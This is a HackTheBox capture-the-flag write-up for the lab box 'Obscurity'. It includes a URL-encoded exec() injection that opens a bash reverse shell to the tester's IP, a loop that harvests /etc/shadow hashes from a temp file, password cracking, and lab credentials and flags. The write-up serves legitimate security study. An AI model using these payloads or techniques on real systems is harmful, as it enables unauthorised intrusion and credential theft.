HackTheBox Writeups

Writeups for all the HTB boxes I have solved

View on GitHub

Obscurity

We see that 9000 and 80 is closed this mean we’ll start our enumeration with port 8080.


HTTP

On that page we find a development section which tells use that we need to get SuperSecureServer.py from secret /develop directory.

So If we visit http://10.10.10.168:8080/develop/SuperSecureServer.py we’ll see the source code in that file.

If we analyze the code we can see that it checks for the path that is provided and then it checks the MIME type of the file we are trying to read and then display the content of that file.

The interesting part in that code is the following 2 lines in function serveDoc under Server class:

info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?

Here we see that it pass the path directly to the exec(). Now this isn’t as easy as eval(), we’ll have to

http://obscure.htb:8080/';__import__(%22os%22).system(%22bash%20-c%20'bash%20-i%20%3E&%20/dev/tcp/10.10.15.117/4445%200%3E&1'%22)%23

python3 -c 'import pty; pty.spawn("/bin/sh")'


Horizontal Priv esc

In /home/robert we see that there is SuperSecureCrypt.py which is doing some kind of encryption.

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

This encryptor takes an input file, a key and an output file and encryption on it and even that is not good.

It take 1 character of the text and another character of the key and do newChr = chr((newChr + ord(keyChr)) % 255) which is making new character by adding ascii values of the first two character.

I did

python3 SuperSecureCrypt.py -d -i out.txt -o /tmp/password.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!"

alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

Similar way we get password for robert but now we use that decrypted key

robert:SecThruObsFTW

e4493782066b55fe2755708736ada2d7

Vertical priv esc

I found robert had sudo rights

Looking at the source of /home/robert/BetterSSH/BetterSSH.py

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

It right to some tmp directory for a sec so we can use watch

robert@obscure:~$ while sleep 0.1; do cat /tmp/SSH/* 2>/dev/null; done

Then

sudo -u root /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Then we can crack the root password using john.

root:mercedes

512fd4429f33a113a44d5acde23609e3